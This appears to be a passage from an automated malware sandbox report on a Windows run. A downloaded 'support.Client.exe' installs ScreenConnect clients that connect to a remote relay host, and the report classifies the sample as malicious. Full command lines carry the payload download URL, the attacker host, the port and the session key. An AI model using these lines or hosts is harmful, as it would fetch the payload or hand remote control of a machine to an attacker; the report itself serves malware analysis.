Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Creates files inside the system directory
Source: C:\Windows\System32\svchost.exe File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe File created: C:\Windows\system32\user.config
PE file does not import any functions
Source: bfb7a509-8b20-4376-b9ba-bfeeb014e662.tmp.0.dr Static PE information: No import functions for PE file found
PE file overlay found
Source: bfb7a509-8b20-4376-b9ba-bfeeb014e662.tmp.0.dr Static PE information: Data appended to the last section found
Source: ScreenConnect.WindowsBackstageShell.exe.14.dr, PopoutPanelTaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.14.dr, ProgramTaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.14.dr, TaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe0.14.dr, PopoutPanelTaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe0.14.dr, ProgramTaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe0.14.dr, TaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: classification engine Classification label: mal68.evad.win@46/81@7/5
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:8136:120:WilError_03
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Mutant created: NULL
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Mutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\svchost.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS Jump to behavior
Source: unknown Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1956,i,12778889090336067455,703406671093003371,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://cp9856.chelokipotlester.icu/Bin/support.Client.exe?h=cp3back96.site&p=8041&k=BgIAAACkAABSU0ExAAgAAAEAAQB9zMUOcnsRaC12buOM5jB%2F0aQdWfMpUKDaWi13yRXoM16W00nLl4p0ZtEhANoxvmcw0wWFEBncKj1h1Sizr06d2epn5Y1la%2FZuAUNQxVB6zV6MkV%2FQ3PQ8O4IKEUzM%2B1uTT6bVi8cjhVOM7wlYYJcudQAB6Dwlh4JaUc5YEBvhT8MaZnAIYPqnbmxNwUw1RDlaRh5YJbZGPTJPIJpusdEO4D%2FCUtP6CZ%2F6LBYCi1k6apr4NFJdoCsgYMmz0ueWApW6fnSWePa0E3G6vxJQsjXUZXU7nn2pC9y84o5L0uqvKTZ239UPNomZv8wnSyaubzULL%2B48fuhT%2FYi9ukTBmorR&s=5999b697-2fc8-47f6-a1dc-4d0d274c363e&i=Untitled%20Session&e=Support&y=Guest&r="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5668 --field-trial-handle=1956,i,12778889090336067455,703406671093003371,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3360 --field-trial-handle=1956,i,12778889090336067455,703406671093003371,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Users\user\Downloads\support.Client.exe "C:\Users\user\Downloads\support.Client.exe"
Source: C:\Users\user\Downloads\support.Client.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
Source: C:\Windows\System32\svchost.exe Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe"
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=cp3back96.site&p=8041&s=5999b697-2fc8-47f6-a1dc-4d0d274c363e&k=BgIAAACkAABSU0ExAAgAAAEAAQB9zMUOcnsRaC12buOM5jB%2f0aQdWfMpUKDaWi13yRXoM16W00nLl4p0ZtEhANoxvmcw0wWFEBncKj1h1Sizr06d2epn5Y1la%2fZuAUNQxVB6zV6MkV%2fQ3PQ8O4IKEUzM%2b1uTT6bVi8cjhVOM7wlYYJcudQAB6Dwlh4JaUc5YEBvhT8MaZnAIYPqnbmxNwUw1RDlaRh5YJbZGPTJPIJpusdEO4D%2fCUtP6CZ%2f6LBYCi1k6apr4NFJdoCsgYMmz0ueWApW6fnSWePa0E3G6vxJQsjXUZXU7nn2pC9y84o5L0uqvKTZ239UPNomZv8wnSyaubzULL%2b48fuhT%2fYi9ukTBmorR&r=&i=Untitled%20Session" "1"
Source: unknown Process created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=cp3back96.site&p=8041&s=5999b697-2fc8-47f6-a1dc-4d0d274c363e&k=BgIAAACkAABSU0ExAAgAAAEAAQB9zMUOcnsRaC12buOM5jB%2f0aQdWfMpUKDaWi13yRXoM16W00nLl4p0ZtEhANoxvmcw0wWFEBncKj1h1Sizr06d2epn5Y1la%2fZuAUNQxVB6zV6MkV%2fQ3PQ8O4IKEUzM%2b1uTT6bVi8cjhVOM7wlYYJcudQAB6Dwlh4JaUc5YEBvhT8MaZnAIYPqnbmxNwUw1RDlaRh5YJbZGPTJPIJpusdEO4D%2fCUtP6CZ%2f6LBYCi1k6apr4NFJdoCsgYMmz0ueWApW6fnSWePa0E3G6vxJQsjXUZXU7nn2pC9y84o5L0uqvKTZ239UPNomZv8wnSyaubzULL%2b48fuhT%2fYi9ukTBmorR&r=&i=Untitled%20Session" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe" "RunRole" "286148cd-317c-42bd-b1b6-847f55f60348" "User"
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe" "RunRole" "dab60135-edfb-4837-8e58-b67bfb3544e3" "System"
Source: unknown Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1956,i,12778889090336067455,703406671093003371,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5668 --field-trial-handle=1956,i,12778889090336067455,703406671093003371,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3360 --field-trial-handle=1956,i,12778889090336067455,703406671093003371,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Users\user\Downloads\support.Client.exe "C:\Users\user\Downloads\support.Client.exe" Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable Jump to behavior
Source: C:\Users\user\Downloads\support.Client.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=cp3back96.site&p=8041&s=5999b697-2fc8-47f6-a1dc-4d0d274c363e&k=BgIAAACkAABSU0ExAAgAAAEAAQB9zMUOcnsRaC12buOM5jB%2f0aQdWfMpUKDaWi13yRXoM16W00nLl4p0ZtEhANoxvmcw0wWFEBncKj1h1Sizr06d2epn5Y1la%2fZuAUNQxVB6zV6MkV%2fQ3PQ8O4IKEUzM%2b1uTT6bVi8cjhVOM7wlYYJcudQAB6Dwlh4JaUc5YEBvhT8MaZnAIYPqnbmxNwUw1RDlaRh5YJbZGPTJPIJpusdEO4D%2fCUtP6CZ%2f6LBYCi1k6apr4NFJdoCsgYMmz0ueWApW6fnSWePa0E3G6vxJQsjXUZXU7nn2pC9y84o5L0uqvKTZ239UPNomZv8wnSyaubzULL%2b48fuhT%2fYi9ukTBmorR&r=&i=Untitled%20Session" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe" "RunRole" "286148cd-317c-42bd-b1b6-847f55f60348" "User"
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe" "RunRole" "dab60135-edfb-4837-8e58-b67bfb3544e3" "System"
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: qmgr.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsperf.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: firewallapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: esent.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsigd.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: upnp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ssdpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: appxdeploymentclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wsmauto.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wsmsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dsrole.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: pcwum.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: usermgrcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: vssapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: vsstrace.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: samlib.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: es.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: moshost.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mapsbtsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mosstorage.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ztrace_maps.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mapconfiguration.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: storsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: devobj.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fltlib.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bcd.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wer.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: appxdeploymentclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: storageusage.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: aphostservice.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: networkhelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userdataplatformhelperutil.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mccspal.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: syncutil.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: syncutil.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dmcfgutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dmcmnutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dmxmlhelputils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: inproclogger.dll Jump to behavior
